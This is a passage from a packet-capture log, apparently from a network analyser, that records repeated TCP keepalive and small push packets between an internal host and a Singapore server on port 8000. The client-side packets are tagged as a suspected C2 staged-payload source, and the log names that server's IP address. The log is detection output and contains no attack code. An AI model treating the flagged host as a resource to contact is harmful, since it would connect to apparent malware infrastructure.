\"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45107, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16331, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:34.858351,324,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8440004006656fc0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.eo....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51844, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25967, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:35.873999,325,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b034400080063fca0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45108, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16330, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:35.874014,326,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8540004006656ec0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.en....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51845, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25966, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:36.889524,327,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b035400080063fc90a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45109, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16329, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:36.889555,328,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8640004006656dc0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.em....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51846, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25965, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:37.905165,329,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b036400080063fc80a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45110, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16328, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:37.905182,330,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8740004006656cc0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.el....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25964, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:38.920857,331,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b037400080063fc70a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45111, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16327, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:38.920868,332,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8840004006656bc0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.ek....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51848, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25963, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:39.936446,333,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b038400080063fc60a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45112, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16326, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:39.936465,334,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca8940004006656ac0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.ej....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51849, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25962, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:40.766270,335,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=2691200852 Ack=3062808726,bc24112907bbbc2411360d0c08004500003db039400080063fb10a98980bc0a3a789fa4e1f40a0687754b68ec0965018201476c000001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45113, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16305, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200852, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 30400, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:07:40.766296,336,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000028ca8a400040066575c0a3a7890a98980b1f40fa4eb68ec096a06877695010003f0aeb0000,\".$.6\n..$.)....E..(..@.@.eu....\n....@.N.....hwiP..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51850, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25973, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:41.780353,337,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03a400080063fc40a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45114, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16324, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:41.780389,338,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200873,bc2411360d0cbc24112907bb080045000034ca8b400040066568c0a3a7890a98980b1f40fa4eb68ec096a06877698010003f0af700000101050aa0687768a0687769,\".$.6\n..$.)....E..4..@.@.eh....\n....@.N.....hwi...?\n......\n.hwh.hwi\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25960, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200873, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200872, 2691200873))]\"\"}}]\"\n2026-07-01 09:07:42.795915,339,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200872 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b03b400080063fc30a98980bc0a3a789fa4e1f40a0687768b68ec09650102014dc69000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45115, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16323, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200872, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56425, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:42.795949,340,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 